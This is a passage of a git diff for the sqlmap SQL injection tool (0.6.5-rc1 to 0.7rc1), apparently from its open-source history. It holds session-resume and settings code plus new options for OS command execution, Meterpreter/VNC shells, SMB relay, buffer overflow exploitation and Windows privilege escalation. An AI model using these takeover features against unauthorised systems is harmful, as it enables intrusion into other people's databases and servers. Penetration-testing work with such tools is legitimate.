kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath)) + + +def setDEP(): + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("DEP") ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep)) + + + def resumeConfKb(expression, url, value): if expression == "String" and url == conf.url: string = value[:-1] @@ -216,6 +311,14 @@ def resumeConfKb(expression, url, value): if not test or test[0] in ("y", "Y"): conf.regexp = regexp + elif expression == "Match ratio" and url == conf.url: + matchRatio = value[:-1] + + logMsg = "resuming match ratio '%s' from session file" % matchRatio + logger.info(logMsg) + + conf.matchRatio = round(float(matchRatio), 3) + elif expression == "Injection point" and url == conf.url: injPlace = value[:-1] @@ -278,7 +381,7 @@ def resumeConfKb(expression, url, value): if dbmsRegExp: dbms = dbmsRegExp.group(1) - kb.dbmsVersion = [dbmsRegExp.group(2)] + kb.dbmsVersion = [ dbmsRegExp.group(2) ] if conf.dbms and conf.dbms.lower() != dbms: message = "you provided '%s' as back-end DBMS, " % conf.dbms @@ -293,6 +396,34 @@ def resumeConfKb(expression, url, value): else: conf.dbms = dbms + elif expression == "OS" and url == conf.url: + os = value[:-1] + + logMsg = "resuming back-end DBMS operating system '%s' " % os + logMsg += "from session file" + logger.info(logMsg) + + if conf.os and conf.os.lower() != os.lower(): + message = "you provided '%s' as back-end DBMS operating " % conf.os + message += "system, but from a past scan information on the " + message += "target URL sqlmap assumes the back-end DBMS " + message += "operating system is %s. " % os + message += "Do you really want to force the back-end DBMS " + message += "OS value? [y/N] " + test = readInput(message, default="N") + + if not test or test[0] in ("n", "N"): + conf.os = os + else: + conf.os = os + + elif expression == "Stacked queries" and url == conf.url: + kb.stackedTest = value[:-1] + + logMsg = "resuming stacked queries syntax " + logMsg += "'%s' from session file" % kb.stackedTest + logger.info(logMsg) + elif expression == "Union comment" and url == conf.url: kb.unionComment = value[:-1] @@ -313,3 +444,17 @@ def resumeConfKb(expression, url, value): logMsg = "resuming union position " logMsg += "%s from session file" % kb.unionPosition logger.info(logMsg) + + elif expression == "Remote temp path" and url == conf.url: + conf.tmpPath = value[:-1] + + logMsg = "resuming remote absolute path of temporary " + logMsg += "files directory '%s' from session file" % conf.tmpPath + logger.info(logMsg) + + elif expression == "DEP" and url == conf.url: + kb.dep = value[:-1] + + logMsg = "resuming DEP system policy value '%s' " % kb.dep + logMsg += "from session file" + logger.info(logMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index bdce4650a..6debe367b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -30,13 +30,14 @@ import sys # sqlmap version and site -VERSION = "0.6.5-rc1" +VERSION = "0.7rc1" VERSION_STRING = "sqlmap/%s" % VERSION SITE = "http://sqlmap.sourceforge.net" # sqlmap logger logging.addLevelName(9, "TRAFFIC OUT") logging.addLevelName(8, "TRAFFIC IN") + LOGGER = logging.getLogger("sqlmapLog") LOGGER_HANDLER = logging.StreamHandler(sys.stdout) FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") @@ -45,33 +46,33 @@ LOGGER_HANDLER.setFormatter(FORMATTER) LOGGER.addHandler(LOGGER_HANDLER) LOGGER.setLevel(logging.WARN) +# System variables +PLATFORM = sys.platform.lower() +PYVERSION = sys.version.split()[0] + # Url to update Microsoft SQL Server XML versions file from MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" -# Url to update sqlmap from +# Urls to update sqlmap from SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip" # Database managemen system specific variables -MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) -MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" -PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) -ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME +MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) +MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" +PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) +ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME -MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] -MYSQL_ALIASES = [ "mysql", "my" ] -PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] -ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] +MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] +MYSQL_ALIASES = [ "mysql", "my" ] +PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] +ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES -SUPPORTED_OS = ( "linux", "windows" ) +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES +SUPPORTED_OS = ( "linux", "windows" ) -# TODO: port to command line/configuration file options? -SECONDS = 5 -RETRIES = 3 - -SQL_STATEMENTS = { - "SQL SELECT statement": ( +SQL_STATEMENTS = { + "SQL SELECT statement": ( "select ", "show ", " top ", @@ -87,29 +88,29 @@ SQL_STATEMENTS = { " rownum as ", "(case ", ), - "SQL data definition": ( + "SQL data definition": ( "create ", + "declare ", "drop ", "truncate ", "alter ", ), - "SQL data manipulation": ( + "SQL data manipulation": ( "insert ", "update ", "delete ", "merge ", ), - "SQL data control": ( + "SQL data control": ( "grant ", ), - "SQL data execution": ( - "exec ", + "SQL data execution": ( "execute ", ), - "SQL transaction": ( + "SQL transaction": ( "start transaction ", "begin work ", "begin transaction ", "commit ", "rollback ", ), - } + } diff --git a/lib/core/shell.py b/lib/core/shell.py index 8b4cd96a2..6c2557a7a 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -90,13 +90,23 @@ def autoCompletion(sqlShell=False, osShell=False): if sqlShell: completer = CompleterNG(queriesForAutoCompletion()) elif osShell: - # TODO: add more operating system commands; differentiate commands - # based on future operating system fingerprint - completer = CompleterNG({ - "id": None, "ifconfig": None, "ls": None, - "netstat -natu": None, "pwd": None, - "uname": None, "whoami": None, - }) + if kb.os == "Windows": + # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands + completer = CompleterNG({ + "copy": None, "del": None, "dir": None, + "echo": None, "md": None, "mem": None, + "move": None, "net": None, "netstat -na": None, + "ver": None, "xcopy": None, "whoami": None, + }) + + else: + # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands + completer = CompleterNG({ + "cp": None, "rm": None, "ls": None, + "echo": None, "mkdir": None, "free": None, + "mv": None, "ifconfig": None, "netstat -natu": None, + "pwd": None, "uname": None, "id": None, + }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py new file mode 100644 index 000000000..50024d4b7 --- /dev/null +++ b/lib/core/subprocessng.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import fcntl +import errno +import os +import sys +import time + + +if (sys.hexversion >> 16) >= 0x202: + FCNTL = fcntl +else: + import FCNTL + + +def blockingReadFromFD(fd): + # Quick twist around original Twisted function + # Blocking read from a non-blocking file descriptor + output = "" + + while True: + try: + output += os.read(fd, 8192) + except (OSError, IOError), ioe: + if ioe.args[0] in (errno.EAGAIN, errno.EINTR): + # Uncomment the following line if the process seems to + # take a huge amount of cpu time + # time.sleep(0.01) + continue + else: + raise + break + + if not output: + raise EOFError, "fd %s has been closed." % fd + + return output + + +def blockingWriteToFD(fd, data): + # Another quick twist + while True: + try: + data_length = len(data) + wrote_data = os.write(fd, data) + except (OSError, IOError), io: + if io.errno in (errno.EAGAIN, errno.EINTR): + continue + else: + raise + + if wrote_data < data_length: + blockingWriteToFD(fd, data[wrote_data:]) + + break + + +def setNonBlocking(fd): + """ + Make a file descriptor non-blocking + """ + + flags = fcntl.fcntl(fd, FCNTL.F_GETFL) + flags = flags | os.O_NONBLOCK + fcntl.fcntl(fd, FCNTL.F_SETFL, flags) diff --git a/lib/core/target.py b/lib/core/target.py index efe5effed..41b9a8221 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 1fe23e3f4..592c13359 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/core/update.py b/lib/core/update.py index e342ecab7..ab810d913 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/parse/banner.py b/lib/parse/banner.py index a71d493b8..ce9eba725 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -42,14 +42,14 @@ class MSSQLBannerHandler(ContentHandler): given Microsoft SQL Server banner based upon the data in XML file """ - def __init__(self, banner): + def __init__(self, banner, info): self.__banner = sanitizeStr(banner) - self.__inVersion = False self.__inServicePack = False self.__release = None self.__version = "" self.__servicePack = "" + self.__info = info def __feedInfo(self, key, value): @@ -58,7 +58,7 @@ class MSSQLBannerHandler(ContentHandler): if value in ( None, "None" ): return - kb.bannerFp[key] = value + self.__info[key] = value def startElement(self, name, attrs): @@ -117,7 +117,7 @@ def bannerParser(banner): checkFile(xmlfile) if kb.dbms == "Microsoft SQL Server": - handler = MSSQLBannerHandler(banner) + handler = MSSQLBannerHandler(banner, kb.bannerFp) parse(xmlfile, handler) handler = FingerprintHandler(banner, kb.bannerFp) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b80c5279f..e399e9525 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -43,7 +43,7 @@ def cmdLineParser(): parser = OptionParser(usage=usage, version=VERSION_STRING) try: - parser.add_option("-v", dest="verbose", type="int", + parser.add_option("-v", dest="verbose", type="int", default=1, help="Verbosity level: 0-5 (default 1)") # Target options @@ -68,7 +68,7 @@ def cmdLineParser(): "to specify how to connect to the target url.") request.add_option("--method", dest="method", default="GET", - help="HTTP method, GET or POST (default: GET)") + help="HTTP method, GET or POST (default GET)") request.add_option("--data", dest="data", help="Data string to be sent through POST") @@ -87,30 +87,34 @@ def cmdLineParser(): "header from file") request.add_option("--headers", dest="headers", - help="Extra HTTP headers '\\n' separated") + help="Extra HTTP headers newline separated") request.add_option("--auth-type", dest="aType", - help="HTTP Authentication type, value: " - "Basic or Digest") + help="HTTP Authentication type (value " + "Basic or Digest)") request.add_option("--auth-cred", dest="aCred", - help="HTTP Authentication credentials, value: " - "name:password") + help="HTTP Authentication credentials (value " + "name:password)") request.add_option("--proxy", dest="proxy", help="Use a HTTP proxy to connect to the target url") - request.add_option("--threads", dest="threads", type="int", + request.add_option("--threads", dest="threads", type="int", default=1, help="Maximum number of concurrent HTTP " "requests (default 1)") request.add_option("--delay", dest="delay", type="float", help="Delay in seconds between each HTTP request") - request.add_option("--timeout", dest="timeout", type="float", + request.add_option("--timeout", dest="timeout", type="float", default=30, help="Seconds to wait before timeout connection " "(default 30)") + request.add_option("--retries", dest="retries", type="int", default=3, + help="Retries when the connection timeouts " + "(default 3)") + # Injection options injection = OptionGroup(parser, "Injection", "These options can be " @@ -126,6 +130,10 @@ def cmdLineParser(): injection.add_option("--dbms", dest="dbms", help="Force back-end DBMS to this value") + injection.add_option("--os", dest="os", + help="Force back-end DBMS operating system " + "to this value") + injection.add_option("--prefix", dest="prefix", help="Injection payload prefix string") @@ -141,12 +149,12 @@ def cmdLineParser(): "query is valid") injection.add_option("--excl-str", dest="eString", - help="String to be excluded before calculating " - "page hash") + help="String to be excluded before comparing " + "page contents") injection.add_option("--excl-reg", dest="eRegexp", - help="Regexp matches to be excluded before " - "calculating page hash") + help="Matches to be excluded before " + "comparing page contents") # Techniques options @@ -165,6 +173,11 @@ def cmdLineParser(): action="store_true", help="Test for time based blind SQL injection") + techniques.add_option("--time-sec", dest="timeSec", + type="int", default=5, + help="Seconds to delay the DBMS response " + "(default 5)") + techniques.add_option("--union-test", dest="unionTest", action="store_true", help="Test for UNION query (inband) SQL injection") @@ -214,25 +227,25 @@ def cmdLineParser(): enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true", - help="Enumerate DBMS users password hashes (opt: -U)") + help="Enumerate DBMS users password hashes (opt -U)") enumeration.add_option("--privileges", dest="getPrivileges", action="store_true", - help="Enumerate DBMS users privileges (opt: -U)") + help="Enumerate DBMS users privileges (opt -U)") enumeration.add_option("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") enumeration.add_option("--tables", dest="getTables", action="store_true", - help="Enumerate DBMS database tables (opt: -D)") + help="Enumerate DBMS database tables (opt -D)") enumeration.add_option("--columns", dest="getColumns", action="store_true", help="Enumerate DBMS database table columns " - "(req:-T opt:-D)") + "(req -T opt -D)") enumeration.add_option("--dump", dest="dumpTable", action="store_true", help="Dump DBMS database table entries " - "(req: -T, opt: -D, -C, --start, --stop)") + "(req -T, opt -D, -C, --start, --stop)") enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", help="Dump all DBMS databases tables entries") @@ -271,38 +284,63 @@ def cmdLineParser(): # File system options filesystem = OptionGroup(parser, "File system access", "These options " "can be used to access the back-end database " - "management system file system taking " - "advantage of native DBMS functions or " - "specific DBMS design weaknesses.") + "management system underlying file system.") filesystem.add_option("--read-file", dest="rFile", - help="Read a specific OS file content (only on MySQL)") + help="Read a file from the back-end DBMS " + "file system") filesystem.add_option("--write-file", dest="wFile", - help="Write to a specific OS file (not yet available)") + help="Write a local file on the back-end " + "DBMS file system") + filesystem.add_option("--dest-file", dest="dFile", + help="Back-end DBMS absolute filepath to " + "write to") # Takeover options takeover = OptionGroup(parser, "Operating system access", "This " "option can be used to access the back-end " - "database management system operating " - "system taking advantage of specific DBMS " - "design weaknesses.") + "database management system underlying " + "operating system.") + + takeover.add_option("--os-cmd", dest="osCmd", + help="Execute an operating system command") takeover.add_option("--os-shell", dest="osShell", action="store_true", - help="Prompt for an interactive OS shell " - "(only on PHP/MySQL environment with a " - "writable directory within the web " - "server document root for the moment)") + help="Prompt for an interactive operating " + "system shell") + takeover.add_option("--os-pwn", dest="osPwn", action="store_true", + help="Prompt for an out-of-band shell, " + "meterpreter or VNC") + + takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true", + help="One click prompt for an OOB shell, " + "meterpreter or VNC") + + takeover.add_option("--os-bof", dest="osBof", action="store_true", + help="Stored procedure buffer overflow " + "exploitation") + + takeover.add_option("--priv-esc", dest="privEsc", action="store_true", + help="User priv escalation by abusing Windows " + "access tokens") + + takeover.add_option("--msf-path", dest="msfPath", + help="Local path where Metasploit Framework 3 " + "is installed") + + takeover.add_option("--tmp-path", dest="tmpPath", + help="Remote absolute path of temporary files " + "directory") # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous.add_option("--eta", dest="eta", action="store_true", - help="Retrieve each query output length and " - "calculate the estimated time of arrival " - "in real time") + help="Display for each output the " + "estimated time of arrival") miscellaneous.add_option("--update", dest="updateAll", action="store_true", help="Update sqlmap to the latest stable version") @@ -317,6 +355,9 @@ def cmdLineParser(): miscellaneous.add_option("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behaviour") + miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", + help="Clean up the DBMS by sqlmap specific " + "UDF and tables") parser.add_option_group(target) parser.add_option_group(request) diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 90077db87..a0cd17bbe 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 7ff687a50..7f68d10ea 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -39,8 +39,7 @@ class FingerprintHandler(ContentHandler): """ def __init__(self, banner, info): - self.__banner = sanitizeStr(banner) - + self.__banner = sanitizeStr(banner) self.__regexp = None self.__match = None self.__dbmsVersion = None diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 360aa56cd..6f2580fbf 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/parse/html.py b/lib/parse/html.py index 5a3314bcc..154d103ea 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py index 33aa7d414..f256c7ac7 100644 --- a/lib/parse/queriesfile.py +++ b/lib/parse/queriesfile.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -103,6 +103,9 @@ class queriesHandler(ContentHandler): data = sanitizeStr(attrs.get("query")) self.__queries.timedelay = data + data = sanitizeStr(attrs.get("query2")) + self.__queries.timedelay2 = data + elif name == "substring": data = sanitizeStr(attrs.get("query")) self.__queries.substring = data diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/request/basic.py b/lib/request/basic.py index 1a9dee70e..edede1b81 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 7b71a653d..b17481634 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -29,14 +29,10 @@ import re from lib.core.convert import md5hash from lib.core.data import conf from lib.core.data import logger - - -MATCH_RATIO = None +from lib.core.session import setMatchRatio def comparison(page, headers=None, getSeqMatcher=False): - global MATCH_RATIO - regExpResults = None # String to be excluded before calculating page hash @@ -78,13 +74,16 @@ def comparison(page, headers=None, getSeqMatcher=False): # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content - if MATCH_RATIO == None: - if conf.md5hash != None and ratio < 1 and ratio > 0.6: + if conf.matchRatio == None: + if conf.md5hash != None and ratio > 0.6 and ratio < 1: logger.debug("setting match ratio to %.3f" % ratio) - MATCH_RATIO = ratio + conf.matchRatio = ratio elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ): logger.debug("setting match ratio to default value 0.900") - MATCH_RATIO = 0.900 + conf.matchRatio = 0.900 + + if conf.matchRatio != None: + setMatchRatio() # If it has been requested to return the ratio and not a comparison # response @@ -100,7 +99,7 @@ def comparison(page, headers=None, getSeqMatcher=False): # If the url is not stable it returns sequence matcher between the # first untouched HTTP response page content and this content - elif ratio > MATCH_RATIO: + elif ratio > conf.matchRatio: return True else: return False diff --git a/lib/request/connect.py b/lib/request/connect.py index 49f37eb77..687c2ac6c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -38,7 +38,6 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapConnectionException -from lib.core.settings import RETRIES from lib.request.basic import forgeHeaders from lib.request.basic import parseResponse from lib.request.comparison import comparison @@ -72,6 +71,7 @@ class Connect: ua = kwargs.get('ua', None) direct = kwargs.get('direct', False) multipart = kwargs.get('multipart', False) + silent = kwargs.get('silent', False) page = "" cookieStr = "" @@ -128,7 +128,7 @@ class Connect: conn = urllib2.urlopen(req) # Reset the number of connection retries - conf.retries = 0 + conf.retriesCount = 0 if not req.has_header("Accept-Encoding"): requestHeaders += "\nAccept-Encoding: identity" @@ -199,8 +199,11 @@ class Connect: return None, None - if conf.retries < RETRIES: - conf.retries += 1 + if silent == True: + return None, None + + elif conf.retriesCount < conf.retries: + conf.retriesCount += 1 warnMsg += ", sqlmap is going to retry the request" logger.warn(warnMsg) @@ -226,7 +229,7 @@ class Connect: @staticmethod - def queryPage(value=None, place=None, content=False, getSeqMatcher=False): + def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of @@ -265,7 +268,7 @@ class Connect: else: ua = conf.parameters["User-Agent"] - page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua) + page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent) if content: return page, headers diff --git a/lib/request/inject.py b/lib/request/inject.py index 37fd0bdcc..23723d474 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -39,7 +39,6 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.data import temp -from lib.core.settings import SECONDS from lib.request.connect import Connect as Request from lib.techniques.inband.union.use import unionUse from lib.techniques.blind.inference import bisection @@ -47,7 +46,7 @@ from lib.utils.resume import queryOutputLength from lib.utils.resume import resume -def __goInference(payload, expression): +def __goInference(payload, expression, charsetType=None): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: @@ -57,20 +56,20 @@ def __goInference(payload, expression): dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) - count, value = bisection(payload, expression, length=length) + count, value = bisection(payload, expression, length, charsetType) duration = int(time.time() - start) if conf.eta and length: infoMsg = "retrieved: %s" % value logger.info(infoMsg) - infoMsg = "performed %d queries in %d seconds" % (count, duration) - logger.info(infoMsg) + debugMsg = "performed %d queries in %d seconds" % (count, duration) + logger.debug(debugMsg) return value -def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None): +def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None): outputs = [] origExpr = None @@ -89,7 +88,8 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl else: expressionReplaced = expression.replace(expressionFields, field, 1) - output = resume(expressionReplaced, payload) + if resumeValue == True: + output = resume(expressionReplaced, payload) if not output or ( expected == "int" and not output.isdigit() ): if output: @@ -97,7 +97,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl warnMsg += "sqlmap is going to retrieve the value again" logger.warn(warnMsg) - output = __goInference(payload, expressionReplaced) + output = __goInference(payload, expressionReplaced, charsetType) if isinstance(num, int): expression = origExpr @@ -107,7 +107,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl return outputs -def __goInferenceProxy(expression, fromUser=False, expected=None): +def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected @@ -125,13 +125,19 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): untilLimitChar = None untilOrderChar = None - output = resume(expression, payload) + if 